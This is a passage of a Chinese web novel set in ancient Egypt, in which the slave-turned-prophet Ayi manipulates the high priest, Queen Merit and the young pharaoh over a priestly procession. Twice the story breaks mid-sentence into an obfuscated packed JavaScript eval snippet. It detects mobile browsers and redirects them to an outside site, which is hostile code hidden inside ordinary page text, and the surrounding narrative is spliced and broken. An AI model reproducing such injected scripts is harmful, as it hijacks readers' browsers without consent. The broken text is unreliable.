“那你为什么要笑?”拉赫里斯从来没见过有人提到自己去世的家人时是微笑着的,他对母亲没有什么感情,但只要想到那个人死亡时的模样,都会觉得心脏闷闷的。 那么鲜活的,喜欢哭泣的女人,被丢弃在荒芜的沙漠,三天时间,秃鹫用鸟喙撕裂她的身体,衔出内脏,啄食着她的血肉。 而他就像是在远处等待喂食的幼鸟,睁眼看着晚冬的雪融化在这片名为埃及的沙漠里。 “想到深爱的家人,并且微笑是一种幸福的表现,他和母亲是我人生的启蒙者,”伯伊说,“没有他们,我永远都只会是一个……奴隶。” 当那些律师还在为可怜的正义伸张时,他已经深刻地明白,只有弱者才需要所谓的公平,法律的存在何尝不是强者对弱者的俯视。 媒体对他的定义——无道德,无底线的政律高手,浑身恶臭的逐利者,这个男人甚至不追求名声。 伯伊很喜欢这句评价,中肯且贴合实际。 他把这句话做成旌旗,挂在自己的律所,以免自己忘记初心。 拉赫里斯一时语塞,他试图去了解自己这位合作者,但这个过程让他既安心又惶然。 这种感觉就好像是在与虎谋皮,也许某一天他会被自己的贪婪吞噬,主动沦为对方掌握在手中,争夺权势的号角。 “陛下,我们该回宫了。”候在门口的托德小声提醒。 拉赫里斯看着伯伊,想了想说:“我能感觉到,你是一个很复杂的人。” 复杂到他不知道如何去定义对方,唯一值得确定的就是,危险。 伯伊勾唇,神色坦然地说:“陛下,等到你真正了解我,就会明白,我是一个很简单的人。” - 拉赫里斯离开后,伯伊把阿曼特叫进来。 “阿伊大人,有什么吩咐吗?”阿曼特问。 伯伊:“把昨天听到的消息都复述一遍。” 不得不说,小法老的想法没错,伯伊确实需要这样一个可以处理事情的独立空间,宫殿里塔那罗几乎是寸步不离。 来神殿前,塔那罗也想要跟着来,但伯伊说担心巴特巴尔会在宫殿里动手脚,以此打消了对方的念头。 阿曼特连忙说是,回忆着昨天听到的消息—— “诺菲斯大祭司家里出了老鼠,好大一只,听说把他夫人吓坏了,接连卧病两天,至今还没能康复。” “西亚蒙大人昨日迎了一位新夫人,是他的大孙女,四女儿的大女儿,十分貌美动人,见过她的平民都说她是哈托尔的化身。” “艾拉特将军昨日在军营和米维尔将军比武,输了,大概是觉得面子过不去,今天大清早去米维尔将军家里闹了一通,被米维尔将军丢了出来。” “乌瑟哈特大人明日将启程前往边境,他的妻子这些天天天以泪洗面,还说要和乌瑟哈特大人分离。” ……… ……… 消息又碎又杂,多是家长里短,但伯伊却听得认真。 阿曼特一口气把听来的消息都说了一遍,絮絮叨叨好一会儿,甚至还不忘学习聊天对象说到这件事情时的表情和语气。 直到他看到内殿的蜡烛烧了大半,他才意识到自己过于啰嗦,一脸忐忑地说:“抱歉,大人,我总是忍不住说很多。” 有关系不错的人说过他这个习惯非常不好,贵族们不喜欢多话的人。 “没关系,”伯伊说,“你这样很好,继续保持。” 也许没有人和阿曼特说过,他在模仿这方面有些天分,学习对方的表情语气惟妙惟肖,哪怕是没有在现场的人,也能轻易地感受到当时的场景和情绪。 阿曼特被这意料之外的夸奖搞得手足无措,甚至没忍住红了脸,小心地拿眼去偷看阿伊大人,心想,阿伊大人不仅长得美,还特别的善良体贴。 伯伊注意到他的眼神,浅浅笑了下:“不要怀疑自己,你是非常优秀的人,你的能力无与伦比,是神明的恩赐,如果我有能力,甚至希望你能去做麦德查人指挥官。” 阿曼特惊得差点跳起来,他这一生,哪里受过这样的夸奖和赞美。 他的父母嫌弃他太过纤弱,不成大器,不如哥哥孔武有力,能支撑家里的支出,他最好的朋友也多次告诫他这爱八卦的爱好是自寻死路。 第一次有人夸奖他,认可他的爱好,甚至认为这是一项出色的能力。 天哪,我的神明!我伟大的阿蒙神! “阿,阿伊大人!我怎么配……”阿曼特说不出自己是怎样的想法,就是眼睛酸得厉害,心脏涨得满满的。 他想,他可以为了阿伊大人去杀人。 自己何德何能可以遇到阿伊大人,一定是阿蒙神听到了他日日夜夜的祈祷。 “大人,我先帮您打扫吧。”阿曼特现在特别想做点什么,不然他真怕自己会冲出去大杀四方,以帮助自家大人在梅丽特王后面前立功。 不过他也很清楚,自己只是一个拿水果刀都会手抖的无能之人,所以只能通过其他的事情来抒发心里的情绪。 伯伊微笑着点点头:“幸好有你,手脚利落又能干,不然我一个人可打扫不了。” 阿曼特握着毛巾,心想,他今天一定要把玻璃擦得会反光,地板会打滑。 没有人能拦得住他。 两人一起打扫内殿,阿曼特再三阻拦,伯伊没办法,只好停下手里的动作,在一旁等待着他 13.执棋者 “我们还是第一次见面。”面前的老人眉目慈祥,穿着宽大的衣袍,只有那握着金色权杖的手腕能看出他的削瘦。 伯伊坐在他的对面,神色不动地回望,明知故问:“大祭司寻我来是有什么事情吗?” 诺菲斯微笑着对他招招手:“走近些,让我看看你。” 伯伊微微抬眼,依照他的要求走近了两步。 随着两人距离的缩短,老人的面容更加清晰,如果不是对方的身份放在这里,大概见过他的人都会以为他只是一个和蔼可亲的邻家老人。 在平均寿命只有四十岁的古埃及,梅丽特的岁数已经称得上的长寿,但眼前这位大祭司,看着至少得有七八十岁。 这在古埃及的历史上都是非常少见的。 “难怪巴特对你再三称赞,”诺菲斯一笑,“确实是个容貌出众的伶俐孩子。” 见他绕弯子不说,伯伊仗着自己现在是十六岁的少年,干脆装不懂,对他的话只是不好意思地笑了笑。 诺菲斯的目光落在他的身上,本应该是柔和的,但却让伯伊后背有些发凉。 这是一种近乎本能的反应,仿佛是被一只毒蛇盯上,叫人不寒而栗。 伯伊的手指捏了下衣角,很快又放开,视线始终落在老人的下半张脸。 “我叫你来只是想了解一下你,”诺菲斯似乎是看出他的紧张,缓声安慰到:“你也该知道神殿世代服务于法老,关乎到法老的事情难免多些思虑。” 伯伊点点头:“您是想了解哪方面呢?” 说这话时,他的声音略略发紧,搭在膝盖上的手几不可见地摩挲着衣袍。 诺菲斯态度温和地摆摆手:“不用这么紧张,就当和家里人见面,看到你是个好孩子,我也就放心了。” “神殿的工作还适应吗?”他问。 伯伊连忙点头,坐姿端正地说:“内殿的工作轻松,还能与阿蒙神这般亲近,这是我从前不敢想的,还得多谢陛下。” 诺菲斯闻言眉眼舒展:“听说你把内殿工作完成得很好,看得出来你是一个认真负责的,陛下交给你我很放心。” 说是随便聊聊,但实际上一直是诺菲斯在问,伯伊在回答。 聊的话题也多是一些琐碎的事情,若是不知情的人见到此情此景,大概会以为这是爷孙俩在话家常。 “时间不早了,”诺菲斯似是意识到快到正午了,笑道:“不若阿伊留下与我一同用饭罢。” 伯伊诚惶诚恐地站起身行礼:“阿伊食相粗鄙,不敢污了大祭司的眼,还望大祭司给我留三分面子。” 诺菲斯哈哈一笑,倒也放了伯伊离开。 临别,伯伊回头看了眼,正好对上诺菲斯的视线。 诺菲斯笑了笑:“还有什么事情吗?” 伯伊踟蹰片刻,有些赧然地说:“就是,我虽然说现在是神殿的人,但我却一直没能为神殿出力,这些天王后也没有寻我……” 诺菲斯了然:“王后的兴致来得快,去的也快,倒也正常。” 稍顿,“如此,你去王后那边露个脸,就说神殿近日想要成立祭司团,探探王后的口风。” 伯伊连忙说是。 诺菲斯微笑着叮嘱面前的少年:“以后有什么事情大可安排巴特巴尔去做,他们都是能力很不错的孩子,与神殿的联络也可以通过他们。” 伯伊再三道谢,这才走出宫殿。 等到人走远,宫殿的门再次合上,一直隐在密室的泰伊祭司走出来。 “你怎么看?”诺菲斯垂下眼,手指压在权杖的纹路上,感受着上面的跌宕起伏。 泰伊一直在密室里,虽然是另一个空间,但密室做了枭眼方便观察,所以他也观看了全程。 “挺聪明的孩子,”他回忆刚刚看到的情形,包括少年的一举一动,“尚且有些青涩,只要多加栽培,日后必定是个有用人才。” 明明才十六,但回答问题滴水不漏,叫人生不出反感来。 “你觉得青涩?”诺菲斯撩起眼皮看他。 泰伊对自己看到的东西十分信任,但被大祭司这么一问,反倒是生出些不确定来:“难道不是吗?” 少年无意识的小动作,无一不是在彰显他内心的紧张和忐忑,是面对大人物时普通人具备的正常表现。 “看着不像是装的。”他说,“我仔细观察过,每一个反应都合情合理。” 诺菲斯微微一笑:“问题就在这个恰到好处,他让我想起了第一次见巴特巴尔,一模一样的情形。” 这个少年似乎非常清楚在什么时候应该有什么反应。 “您的意思他是装的?”泰伊不敢置信地说。 诺菲斯没说话,耷拉的眼皮下一双眼睛深沉,目光落在少年坐过的座椅上。 半晌他才缓缓出声:“不一定,但如果阿伊真的是这样一个人,那他将会是第二个梅丽特。” “这不可能。”泰伊十分惊讶,他承认少年表现优秀,尤其对方还是奴隶的身份,但说他是第二个梅丽特,那就过于夸大了,“他才十六岁。” 十六岁意味着什么,这不过就是一个毛都没长齐的小孩儿,见过什么世面。 更别说他还是一个奴隶。 “他能走到今天,说明确实有些小聪明,”泰伊明白一个奴隶想要走到这个位置是需要一些智慧的,“但只是这些远远不够,至于陛下提出让他去内殿,我还是倾向于陛下不曾与同龄人相处,一时新鲜。” 他听多赫说过,这小子是怎么被梅丽特推举到先知这个位置的。 有胆识,也有些聪慧。 这些年借着梅丽特这股东风扬帆启程的人不在少数,但大多都折戟沉沙。 而这个奴隶出身的少年,也只不过是其中一个,甚至称不上起眼。 “前些时日,陛下出宫,阿伊还帮了陛下,陛下给他一些恩赏倒也正常。” 那场骚乱,他们事后知道了也是被吓出了一身冷汗。 诺菲斯再次陷入沉默。 - 麦涅乌宫殿。 不大的宫殿里,几个人各自做着自己的事情,显出些许属于午后的闲适。 “大人,您这是准备要出去吗?”巴特正在整理书架,眼角余光注意到伯伊起身的动作。 伯伊嗯了一声说:“去和梅丽特王后问安。” 巴特巴尔对视一眼,巴尔走上前两步:“不如让巴尔随您前去。” 伯伊环视一圈,因为他这句话,宫殿里的四个随侍都停下了手里的事情。 塔那罗把花瓶放回书架,阿曼特正在擦地板,闻言差点撞翻了水桶,压抑着激动地看向伯伊。 眼睛亮晶晶地,看得出来,这小子非常想跟着去。 伯伊微笑,微微颔首道:“塔那罗和巴尔跟我去吧,巴特和阿曼特留在宫殿照看。” 塔那罗放下手里的抹布,和巴尔齐声说是,阿曼特先是一愣,片刻后垂下头继续擦地板,整个人的情绪肉眼可见地低落下去。 此时正是太阳毒辣时。 伯伊坐着轿子前往芭斯泰特,抵达的时候被告知王后正在午休。 伯伊便在偏殿等候,巴尔和塔那罗则是安排在供随侍歇脚的小房间。 有侍女呈上瓜果酒水,如今伯伊的身份不一样了,受到的待遇自然也是不同的。 侍女中还有一个是熟人。 少女穿着白色亚麻裙,头发梳成两个麻花辫,因着年纪小,显出十足的娇憨可爱。 “阿伊大人。”阿娜卡再次见到伯伊,笑得非常开心,小麦色的脸颊鼓起圆圆的苹果肌。 伯伊对她点点头:“阿娜卡最近可还好?” 阿娜卡是伯伊来到古埃及见到的第一个人,一个心思很单纯的女孩子,什么情绪都喜欢写在脸上。 因为对方还记得自己的名字,阿娜卡更高兴了:“还不错。” “还……不错?”伯伊微微挑眉,“是遇到什么困难了吗?” 阿娜卡惊讶地瞪圆了眼睛:“阿伊大人怎么知道?” 伯伊看着她脸上毫不掩饰的情绪,笑道:“难道被我猜中了?” 阿娜卡竖起大拇指:“阿伊大人真厉害。” 罢了,她左右看了眼,小声地叹了口气:“其实我确实是遇到了一些麻烦。” 许是没有人可以诉说,加上伯伊表现出来的真诚,阿娜卡只是略略犹豫就把自己的事情给说了出来。 “上次我不慎摔了果盘,梅丽特王后惩罚了我。”关于这个,芙芙女官说过她,叫她万不可再如此粗心。 阿娜卡也暗自庆幸,王后没有重罚她。 “但问题就在于,王后近来不喜我在殿前伺候。”小姑娘一脸愁容,“我已经接连好些天在偏殿了。” 在芭斯泰特伺候是个肥差,看上去她只是被打发到偏殿几天,但殿前的空缺已经被人顶上,她想要再回去不是件容易的事情。 伯伊若有所思,片刻,他问:“我看那个和你在一起的侍女也有些眼熟。” 刚刚一起端果盘的还有另一个侍女,如果他没记错的话,似乎是上次被他压了腰带的侍女,也是一个十五六岁的女孩子。 阿娜卡瘪瘪嘴:“是的,她叫比加,和我一样被派到了偏殿,王后嫌她手劲儿太轻,按着不舒服。” 小姑娘心直口快,想到什么说什么。 伯伊了然,略带同情地说:“王后向来喜欢新鲜的事物,只怕你们很难再回去了。” 阿娜卡和比加也是这么想的,但被人说出来,就更难过了,小姑娘眼眶一红,差点哭出来。 “我怎么就一直这么粗心大意呢。”阿娜卡用力地敲了敲自己的脑袋。 “也不能怪你,”伯伊试图安慰她,压低了声音说:“我怀疑王后如今是不喜年轻的女孩子在殿前。” 阿娜卡愣了愣,顺着他的话回忆。 确实,除了她和比加,还有好几个同批次的侍女被派到了其他宫殿。 “可是王后以前说……”阿娜卡讷讷。 王后以前明明说过,喜欢看年轻有活力的女孩子,感觉好像自己也是这样的年纪。 “那是好些年前了。”伯伊点到为止。 两个人聊着天,那个叫比加的侍女走进偏殿,视线在两人身上停留了下,欠身作礼说:“阿伊大人,王后唤您。” 伯伊颔首,站起身,对身边的小姑娘说:“我去见王后。” 稍顿,“我看芙芙女官很喜欢穿长裙,佩戴陈色的饰品,看着十分端庄。” 阿娜卡还没反应过来,怎么话题突然这么跳跃,倒是比加,微怔片刻,再次行礼:“多谢阿伊大人提点。” 阿娜卡看看她,又看看伯伊,心想,为啥她什么都不知道? 比加安排了其他的侍女带着伯伊前往王后的宫殿。 这是伯伊第二次来芭斯泰特,也是第二次见到梅丽特王后。 比之上次,梅丽特王后看着神色略微有些憔悴,眼角的细纹连妆容都难以掩盖,芙芙女官跪在榻前为她摇扇。 “阿伊见过王后,”伯伊左手扶肩行礼,“王后一如既往地美丽动人。” 梅丽特王后猫眼轻挑,倦懒地问:“怎么过来了?” “我今天去了神殿,”伯伊说早上的事情,没有丝毫隐瞒,“法老安排我去了内殿,事后诺菲斯大祭司传唤了我。” 伯伊被传唤的事情是发生在内殿,那里都是神殿自己的人,但梅丽特王后的脸上却没有丝毫惊讶,只是扬了扬眉毛示意他继续。 “大祭司询问了我很多生活上的琐碎事情,”伯伊继续说道,“他似乎没有指望我能带去什么有价值的消息。” “然后你就问了他要怎么做?”梅丽特王后似乎在这个时候才提起了一丝兴趣。 伯伊顿了下说是:“他让我来试探王后的口风,说想要成立祭司团。” 梅丽特王后无甚兴味地一笑:“诺菲斯就是这样无趣,做事畏手畏脚。” 神殿如今被打压得厉害,就连散落各地的分殿也一一被她的人架空,毫无用处。如今想设立祭司团,无非是想借着祭司团巡讲,恢复神殿在民间的影响力。 伯伊垂着眼,谨慎地问道:“那我应该如何回复?” 梅丽特王后抬手,芙芙女官立刻退到一边。 “那你就说,”她用手撑着头,一头与年纪不符的青丝散落在榻上,“我不同意。” 顿了下,她笑着又说了句:“谁若是敢提,我就杀了谁。” 女人的脸上一直带着笑,话说得轻飘飘没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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塔那罗说是,看了眼浑身散发负面能量的阿曼特,转身走了。 听到伯伊的声音,阿曼特抬起头,神情凄凄惨惨戚戚:“大人,您回来了。” 伯伊有些好笑,这小子倒是和阿娜卡一样,藏不住一点心事。 “怎么,这是在和我生气?”他问。 阿曼特本来还在幽怨,闻言连忙否认:“那怎么会,阿伊大人千万别误会我,我只是觉得自己没用,所以才……” 他肯定不会抱怨阿伊大人,阿伊大人不带他去见梅丽特王后,必定是有自己的顾虑,只是大人不带他,他便觉得是自己做得不够好,不足以让大人信赖。 伯伊笑叹了声:“王后还不知道我想把你留下的事情,你如今年纪小,很多事情还欠缺经验,所以我想等你再成熟一些,以免王后有所顾虑。” 他顿了下,才继续说道:“你看你这样子,若是王后看到……” 阿曼特一惊,连忙用手背在脸上胡乱地抹了几把:“大人说的是,是阿曼特太过幼稚。” 伯伊取出自己的手巾递给他:“擦擦脸,我要交代你一个任务。” 阿曼特连连摆手,不想玷污了大人洁白的巾子,掀起衣摆把自己的脸擦干净:“大人请说,我一定完成任务。” 伯伊微微一笑,身体微微前倾,在他耳边说了几句话。 阿曼特先是吃惊,随即跪俯在地,感动涕零:“天哪,这简直是天大的好消息。” “是的,”伯伊笑道:“你的任务就是把这个好消息散播出去,一定要让所有人都知道。” 看阿曼特恨不能即刻出发的样子,他提点了一句:“可以寻些奴隶帮忙。” 奴隶每日要前往金字塔,方尖碑等各个正在建设的建筑,是城里的流动人口,传播的速度也是最快的。 阿曼特自觉身负神圣使命,这般重要的消息,大人选择交给自己,简直是对他绝对的信任,阿曼特重重地磕了两个头,立刻动身出宫。 四日后。 伯伊照常在诸神殿为拉赫里斯授课,内容自然还是抄书。 第一次拉赫里斯只是觉得对方在敷衍自己,但抄了几天的书后,他发现自己似乎变得平静了许多。 之前让他觉得乏味枯燥的事情,如今做来心境前所未有的宁静。 “难不成他是在通过这种方式培养我的耐心?”拉赫里斯暗自揣摩,感觉自己似乎明白了对方的良苦用心。 时间过半,拉赫里斯拿着抄完的内容去给伯伊检查。 比起之前几乎不能看的抽象画,小法老的字已经能辨别出形状了,但伯伊只是看了眼,就按着太阳穴说:“好像头疾犯了。” 拉赫里斯:“………” 好气。 “陛下,”托德脚步匆匆地走进宫殿,躬身说:“梅丽特王后请您前去朝会。” 拉赫里斯微怔:“朝会?” 朝会的存在是探讨家国大事,以朝臣的见闻能力辅助法老做出决策,但事实上他坐上法老这个位置开始,就从不曾去过朝会。 “发生了什么?”拉赫里斯微微蹙起眉。 托德快声说道:“泰伊祭司在朝会上为民请命,恳请陛下设立祭司团,为阿蒙神举办巡游,以告慰我埃及子民。” “王后同意了?”拉赫里斯狭长的眼微微眯起。 “没同意,”哪怕极力掩饰,托德脸上还是显露出几分喜色:“但是听说有上千平民把王宫围了,想要向法老表示感谢。” 托德的嘴角都压不住了:“也不知道这些平民哪听来的消息。” 话是这么说,但他猜测必定是神殿散播出去的,设立了祭司团,还让陛下首次进入朝会听政,好一个一箭双雕。 从来没想到,那些平民竟然还能有这样的用处。 闻言,拉赫里斯倏地侧眸,看向身边的伯伊。 青年一身白色长袍,艳丽的饰品穿戴在他的身上不显得繁缀,比起他的颜色,反倒暗淡几分。 他的眉眼舒展带笑,似乎对这样的消息并不感到惊讶。 14.回旋镖 “那陛下先去朝会吧,”伯伊随手合上面前的书,站起身,“我就先行回去了。” “你不一起去?”拉赫里斯挑眉。 明明还是个小屁孩,却喜欢学着大人做表情,看着不显得严肃,反倒有些好笑,伯伊垂下眼,压住嘴角:“不去了,我的身份不合适。” 固然他现在是陛下的先知,但对于朝会上的朝臣来说,他只是一个奴隶,这个节骨眼,保不齐朝臣们会不约而同地朝他开炮。 拉赫里斯没再多说什么,在托德的帮助下更换了正装,前往朝会。 朝会在诸神殿的主殿,是单独的一座宫殿,门口铺了又长又宽敞的楼梯,整整九层,数字九在埃及象征着战争与力量,法老被称作“九弓之主”,以示他征服了九个敌人。 拾阶而上,通往的是代表整个埃及最高权威的太阳神殿。 这是拉赫里斯第二次走上这个阶梯。 第一次是他成为法老的那天,他穿着沉重的礼服,一步一步走上去,接受万民敬仰。 但事实上,他在朝拜结束后,就被送回了诸神殿,连接下来的宴席和塞德节庆典都没能参加。 他坐在诸神殿里,听着乐师奏乐,热闹了一整天。 这一次也不例外,拉赫里斯很清楚,当有一天,他是自己走上来,而不是像奴隶似的被叫过来,这个阶梯,和阶梯尽头的太阳神殿才是属于他的。 走到最上面,托德已经是气喘吁吁,热得一个劲儿用手扇风。 拉赫里斯走进太阳神殿,甫一进去,就感受到室内的清凉,一众朝臣听到动静齐齐回头看过来。 “陛下。”泰伊坐在左侧,以他为首的一众祭司站起身向拉赫里斯行礼,身体跪俯在地,态度恭敬有加。 右侧的人坐着没动,就像是没有意识到见法老需要行礼一般。 拉赫里斯抬眼看向大殿的正前方,台阶之上,黄金打造的宝座旁侧置放了另一个宝石镶嵌的座位。 座位上的女人倚着扶手,眼线飞扬勾出猫眼的形状,妆容精巧,神色倦懒,居高临下地看着殿下的人,浓艳的红唇扬起轻微的弧度:“陛下。” 如果不是她从始至终没有要站起来的意思,大概还能显出几分看重。 “陛下请上座。”坐在左侧最上首的诺菲斯大祭司起身行礼。 拉赫里斯微微颔首,出声制止他想要跪下的动作说:“大祭司年事已高,不用多礼。” 诺菲斯感激地用扶肩礼代替。 “大祭司这般倒是容易叫那些不长眼的看轻了陛下,仗着年纪大倚老卖老,欺负陛下年纪小。”梅丽特突然出声,打断两人的君臣之乐。 拉赫里斯神色平静地看向她,诺菲斯闻言一笑:“王后所言极是。” 说罢他将手里的金色权杖横放在胸前,动作缓慢地跪下,行了一个完整的君臣礼。 梅丽特就这么看着,等他再颤颤巍巍地站起身才微微偏头,对拉赫里斯说:“陛下还站着做什么,过来坐吧。” 拉赫里斯没说什么,走到黄金宝座面前坐下。 鼻间飘过一阵浓烈的香膏味,薰衣草夹杂着迷迭香,味如其人,十分霸道。 拉赫里斯不动声色地往旁边坐了一点。 “继续吧。”梅丽特摆摆手,安静地朝会立刻响起一阵躁动,但却没有人说话。 好一会儿,神殿这边最先按耐不住,阿克里斯站起身,先是对着拉赫里斯行了个扶肩礼,这才开口说道: “陛下,诺菲斯大祭司在观测星象时,东方的猎户座在随着季节变换而移动,天狼星在黎明前先亮起,证明太阳神拉的力量十分充盈。” 稍顿,他单膝跪地,高高举起双手。 “陛下,星辰之语已揭晓,太阳神拉为您赐福,神圣的光辉将伴随您的脚步,这是荣光与昌盛,恳请陛下同意出行,以阿蒙神之名,救赎我埃及深陷苦难的子民,助我埃及永远繁荣。” 在他身后一众祭司齐齐跪俯在地,齐声唱到:“请陛下同意出行,为我埃及子民赐福。” 二十多个人的声音在大殿中回响,头顶白色的纱帐微微摇晃。 诺菲斯没有随着众人动作,只是握着那代表大祭司的金色权杖,衰老的眉眼抬起,无声地注视着宝座上的两人。 “我觉得不妥。”右侧站在最前列的人站起身,对着上首的梅丽特行礼说道:“陛下年纪太小,出宫行巡实在是不安全,若是不小心死了伤了,那责任神殿来承担吗?” 男人瞪着一双虎目,沉声喝道:“你们承担得起吗?” 对于神殿二十多个人的声音,这男人一个人就足以对抗,气势派头十足。 “米维尔将军,”泰伊站起身,对着男人粗犷硬朗的脸皱起眉,“我等已经夜观星象,此次出行乃是大吉,还望将军莫要阻拦。” 米维尔哼笑一声:“我相信伟大的阿蒙神,但却不信这劳什子的星象,我只问,如果陛下受伤死了谁来担责。” “米维尔将军怎可这般说话,”泰伊沉着脸,当着本人的面说什么伤了死了的话,这人简直是不把陛下放在眼里,“陛下有阿蒙神庇佑,怎么可能会遭遇不测。” 米维尔掏了掏耳朵,神色十足的不耐烦。 “反正我一个大老粗,就会拿刀舞棒,我觉得不妥就是不妥,希望梅丽特王后……还有陛下,慎重考虑。”他说。 “下臣也觉得有些莽撞了。”跟在他身后的另一个人站起身。 “历届法老也没有礼成前举行巡游的,”男人如米维尔一般,身材高大,甚至更为夸张,如同一座行走的小山,“依下臣之见,不若等陛下礼成。” “对对对,我等也是这般考虑。”其余人纷纷附和。 神殿这边的人脸色明显有些难看,礼成代表成年,十四岁,意味着他们还要再等四年。 拉赫里斯坐在上首,沉默地看着下面的两派纷争。 明明争论的是关于他的事情,但他却没有可以做主的权利。 “宫外万千子民等候,”泰伊抬手,扬声说:“难不成我等要无视子民的恳求,无视子民的灾难,无视阿蒙神对众生的怜悯吗?” 他的话一句比一句更重,每一句都掷地有声,分外有重量。 说到阿蒙神,哪怕是嚣张如米维尔也略略安静下来。 本身神殿在朝会上是没有什么话语权的,跟花瓶一样的装饰品,偶尔梅丽特王后心情好了,会赏下一朵花装点它,让它看上去更有作用一些,但今天却不一样了。 米维尔不高兴地说:“不过是一群贱民,也敢围了王宫,王后不若派遣我去,保证处理干净。” 他说话越发张狂,这下不止是神殿,就连上首的梅丽特都沉了脸色:“米维尔。” 米维尔一愣,意识到自己说错话了,连忙闭嘴,不再说话。 “既然神殿对自己的占卜有信心,对陛下的安危可以担责,那我又能说什么,那就让陛下巡游吧。”梅丽特一笑,豆蔻花染过的指甲红艳如血,搭在脸颊边,显出些许妖冶。 梅丽特松口了,但神殿的人脸色却称不上好看。 诚然他们借着平民施压,让对方做出让步,但梅丽特这话摆明了是让他们对法老的安危负责,明晃晃的威胁。 如果法老出了事,那对神殿就真是灭顶之灾了。 法老的死亡如同灭神,子民对神殿的信仰将不复存在,千年基业毁于一旦。 “王后,”一直保持沉默的诺菲斯突然出声,“我等说的乃是希望陛下出行主持巡游仪式,王后是不是有所误会?” 泰伊等人一愣,猛然反应过来。 是啊,他们说的是支持巡游仪式,怎么到了王后这群人嘴里就成了法老要参与巡游了。 主持巡游仪式被称作出行,是为巡游的队伍举办送行宴,在仪式上,法老将亲自授予祭司团的负责人大祭司一职,及瓦吉特臂环。 黄金打造的眼镜蛇臂环,代表着王权与守护,是法老特有的象征图案,当它被赐予下臣,则意为阿蒙的左手,法老的代言人。 但巡游和出行就不是同一个概念了,也不是跟着神像出门走一走这么简单,而是沿着尼罗河一路下行,途中经过赫拉克利奥波利斯,阿斯旺,卢克索,皮拉美西斯等十几个城市,抵达终点孟斐斯。 完成上埃及到下埃及的巡游,彰显法老仁慈,众生平等,以及埃及的统一与繁荣。 然后再从孟斐斯返程,这其中的艰险可想而知。 梅丽特故作惊讶地扬起眉:“我还以为你们如此坚持是要让法老亲自参与巡游,不然怎么对得起阿蒙神的信赖,外面万千子民的感激?” 稍顿,“原来只是主持仪式啊。” 后一句话,她语气里是满满的遗憾,仿佛是一个巴掌狠狠打在神殿的脸上。 你们这些人说得一副为民请命,天下大义的样子,结果竟然只是让法老做做样子。 她这话说得神殿的人哑口无言。 半晌,泰伊站起身,神色不大好看:“法老乃是坐镇埃及的神明,怎可离开底比斯。” “如今我埃及子民水深火热,正是需要神明赐福的时候,若是法老亲临,想必上下埃及将从此归心,永远信奉伟大的阿蒙。” 右侧一位大臣站出来,也不管神殿这边的脸色,借着泰伊的话将后路堵死。 好一个借力打力。 神殿的人面面相觑,一时之间没有人敢再站出来。 就连泰伊大祭司都被反将了一军,他们哪里还敢说话,只怕把局面搞得更糟。 “怎么不说话?”梅丽特轻笑,眼角的褶皱挤挤挨挨地,如同一把有些年头的折扇,没了年轻时的青葱,但这些年在权利的熏染下,也是满身矜贵,不怒自威。 泰伊看向大祭司诺菲斯,心下有些拿不定主意。 诺菲斯微微阖眼,手指有一下没一下地摩挲着手中的权杖。 知道这是放弃的意思,错失了这次,只怕再难寻到机会,泰伊心下遗憾,但还是稳住心神说:“我等还是想以底比斯的稳定为……” “我想去。”他的话突然被另一个突兀的声音打断。 大殿上所有人都看向说话的人,那个坐在最上首,黄金宝座上,却从不曾被他们正眼相待的法老。 拉赫里斯环视众人,再次重申自己的话:“我想去巡游。” 稍顿,“阿蒙神将这个重任委托于我,这是对我此生最大的认可,我理应走上这一趟。” 神殿的人目露讶异,心想,难道这小法老是不懂巡游?所以这么敢说话。 右侧的人也少不得惊讶,没想到这个毛都没长齐的小子竟然会说话,竟然敢说话。 就连一直表现淡然的诺菲斯大祭司也难得抬起了眼皮。 大殿里的人各怀心思,脸上却是分毫不露。 梅丽特眼尾扫过少年未长开面容,却已隐隐有了阿蒙家族硬朗立体的轮廓,她的眼底掠过抹戾气:“你确定?” “是。”拉赫里斯垂下眼,语气坚定,“恳请祖母为我主持出行。” 梅丽特搭在扶手上的手背鼓起根青筋,半晌,她松开手微微一笑:“既然陛下都这么说了,我这祖母还能说什么。” 她看向殿中的其余人,缓缓开口道:“巡游的准备工作我便交给泰伊祭司去安排,事关法老,万不可马虎。” 泰伊没想到他们的目的最终竟然会以这样的方式达成。 在此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12391899|131244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前他们想过不下十种,梅丽特会拒绝,阻挠的借口,为此他们通宵达旦地思虑破解之法。 欣喜的同时,他的心里又充满了不安。 事出反常必有妖,梅丽特到底在筹谋些什么? 神殿其余人的脸上都流露出喜色,诺菲斯缓慢地站起身,对着上首行礼:“感谢法老与王后的成全,愿拉神之光永远照耀,与我埃及永远昌盛。” 所有神殿祭司齐齐起身,重读大祭司的话语——“愿拉神之光永远照耀,与我埃及永远昌盛。” “那下面就安排一下随行的大臣吧。”梅丽特笑道。 神殿众人达成了目标,现下都是心境轻松惬意。 梅丽特在殿下的一众大臣中看过,慢悠悠地说:“陛下需要保护,武将就选米维尔吧。” 众人神色一凛。 米维尔是梅丽特王后的心腹,素来对陛下就十分不客气,张狂且不受管教。 他若是跟在旁边,只怕陛下少不得受许多委屈。 “臣下觉得不妥。”泰伊站起身,眉头紧拧,“米维尔将军自是武艺超群,但臣下私以为将军性子太过豪放,巡游事大,容不得半点马虎。” 梅丽特支着头,听着他说完,然后才开口:“那泰伊祭司觉得谁更合适?” 泰伊抿唇,眉头皱着更紧。 梅丽特势大,就是因为她得到了塞贝克将军的支持,而塞贝克在军事中的能量不可小觑,朝中拿得出手的武将无不是从他手下练出来的。 “我觉得米维尔将军不错。”诺菲斯缓缓开口说道。 泰伊紧紧抿着唇,虽然不理解,但见大祭司这般说,他也不再争辩。 